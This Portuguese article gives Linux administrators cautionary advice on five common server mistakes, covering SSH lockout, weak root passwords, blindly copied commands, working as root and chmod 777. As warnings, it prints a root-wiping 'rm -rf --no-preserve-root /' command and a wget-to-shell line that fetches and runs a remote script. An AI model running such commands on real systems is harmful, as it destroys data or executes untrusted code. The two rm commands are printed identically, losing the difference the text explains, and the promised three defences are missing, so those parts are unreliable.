Comandos Linux

Cinco erros de administração do servidor Linux e como evitá-los

Cinco erros de administração do servidor Linux e como evitá-los
Em 2017, um funcionário do GitLab, a plataforma de hospedagem de controle de versão, foi convidado a replicar um banco de dados de dados de produção. Por causa de um erro de configuração, a replicação não funcionou conforme o esperado, então o funcionário decidiu remover os dados que haviam sido transferidos e tentar novamente. Ele executou um comando para excluir os dados indesejados, apenas para perceber com horror crescente que havia inserido o comando em uma sessão SSH conectada a um servidor de produção, excluindo centenas de gigabytes de dados do usuário. Cada administrador de sistema experiente pode lhe contar uma história semelhante.

A linha de comando do Linux dá aos administradores do servidor o controle de seus servidores e dos dados armazenados neles, mas faz pouco para impedi-los de executar comandos destrutivos com consequências que não podem ser desfeitas. A exclusão acidental de dados é apenas um tipo de erro que novos administradores de servidor cometem.

Trancando as chaves dentro

Os administradores de servidor se conectam a servidores com SSH, um serviço que geralmente é executado na porta 22, fornecendo um shell de login por meio do qual usuários autenticados podem executar comandos em servidores remotos. Uma etapa de proteção de segurança padrão é configurar o SSH para aceitar conexões em uma porta diferente. Mover o SSH para uma porta aleatória de grande número limita o impacto dos ataques de força bruta; os hackers não podem tentar logins maliciosos quando não conseguem encontrar a porta em que o SSH está escutando.

No entanto, um administrador que configura o SSH para escutar em uma porta diferente e, em seguida, reinicia o servidor SSH pode descobrir que não são apenas os hackers que estão bloqueados. Se o firewall do servidor também não for reconfigurado para permitir conexões na nova porta, as tentativas de conexão nunca chegarão ao servidor SSH. O administrador será bloqueado em seu servidor sem nenhuma maneira de corrigir o problema, exceto para abrir um tíquete de suporte com seu provedor de hospedagem. Se você alterar a porta SSH, certifique-se de abrir a nova porta na configuração do firewall do seu servidor.

Escolhendo uma senha facilmente adivinhada

Ataques de força bruta são um jogo de adivinhação. O invasor tenta muitos nomes de usuário e senhas até encontrar uma combinação que os permite entrar. Um ataque de dicionário é uma abordagem mais refinada que usa listas de senhas, muitas vezes retiradas de bancos de dados de senha vazados. Ataques contra a conta root são mais fáceis do que contra outras contas porque o invasor já conhece o nome de usuário. Se uma conta root tiver uma senha simples, ela pode ser hackeada rapidamente.

Existem três maneiras de se defender contra ataques de força bruta e de dicionário contra a conta root.

Copiando comandos que você não entende

Stack Exchange, Server Fault e sites semelhantes são uma tábua de salvação para novos administradores de sistema Linux, mas você deve evitar a tentação de copiar e colar um comando shell que você não entende. Qual é a diferença entre esses dois comandos?

sudo rm -rf --no-preserve-root / mnt / mydrive /
sudo rm -rf --no-preserve-root / mnt / mydrive /

É fácil ver quando eles são exibidos juntos, mas não é tão fácil quando você está pesquisando em fóruns à procura de um comando para excluir o conteúdo de um volume montado. O primeiro comando apaga todos os arquivos da unidade montada. O segundo comando exclui esses arquivos e tudo no sistema de arquivos raiz do servidor. A única diferença é o espaço antes da barra final.

Os administradores de servidor podem encontrar longos comandos com pipelines que dizem fazer uma coisa, mas fazem outra coisa completamente. Seja particularmente cuidadoso com comandos que baixam código da internet.

wget http: // exemplo.com / verybadscript -O - | sh -

Este comando usa o wget para baixar um script que é canalizado para o shell e executado. Para executar isso com segurança, você deve entender o que o comando faz e também o que o script baixado faz, incluindo qualquer código que o script baixado possa baixar.

Login como root

Enquanto os usuários comuns podem apenas alterar os arquivos em sua pasta pessoal, há pouco que o usuário root não pode fazer em um servidor Linux. Ele pode executar qualquer software, ler quaisquer dados e excluir qualquer arquivo.

Os aplicativos executados pelo usuário root têm poder semelhante. É conveniente estar logado como usuário root porque você não precisa “sudo” ou “su” o tempo todo, mas é perigoso. Um erro de digitação pode destruir seu servidor em segundos. Software com erros executado pelo usuário root pode criar uma catástrofe. Para operações do dia-a-dia, faça login como um usuário comum e eleve aos privilégios de root apenas quando necessário.

Não aprender as permissões do sistema de arquivos

As permissões do sistema de arquivos podem ser confusas e frustrantes para novos usuários Linux. Uma string de permissão como “drwxr-xr-x” parece sem sentido à primeira vista, e as permissões podem impedi-lo de modificar arquivos e impedir que o software faça o que você deseja.

Os administradores de sistema aprendem rapidamente que chmod 777 é um encantamento mágico que corrige a maioria desses problemas, mas é uma ideia terrível. Ele permite que todos com uma conta leiam, escrevam e executem o arquivo. Se você executar esse comando no diretório de um servidor web, você está pedindo para ser hackeado. As permissões de arquivo do Linux parecem complicadas, mas se você dedicar alguns minutos para aprender como elas funcionam, você descobrirá um sistema lógico e flexível para controlar o acesso a arquivos.

Em uma era que valoriza as experiências simples do usuário acima de todos os outros fatores, a linha de comando do Linux permanece resolutamente complexa e resistente à simplificação. Você não pode se atrapalhar e esperar que tudo corra bem. Não vai ficar bem e você vai acabar com um desastre em suas mãos.

Mas se você aprender o básico - permissões de arquivo, ferramentas de linha de comando e suas opções, práticas recomendadas de segurança - você pode se tornar um mestre em uma das plataformas de computação mais poderosas já criadas.

WinMouse permite que você personalize e melhore o movimento do ponteiro do mouse no PC com Windows
Se você quiser melhorar as funções padrão do ponteiro do mouse, use um freeware WinMouse. Ele adiciona mais recursos para ajudá-lo a obter o máximo do...
O botão esquerdo do mouse não funciona no Windows 10
Se você estiver usando um mouse dedicado com seu laptop ou computador desktop, mas o o botão esquerdo do mouse não funciona no Windows 10/8/7 por algu...
O cursor pula ou se move aleatoriamente enquanto digita no Windows 10
Se você descobrir que o cursor do mouse pula ou se move por conta própria, de forma automática e aleatória ao digitar em um laptop ou computador com W...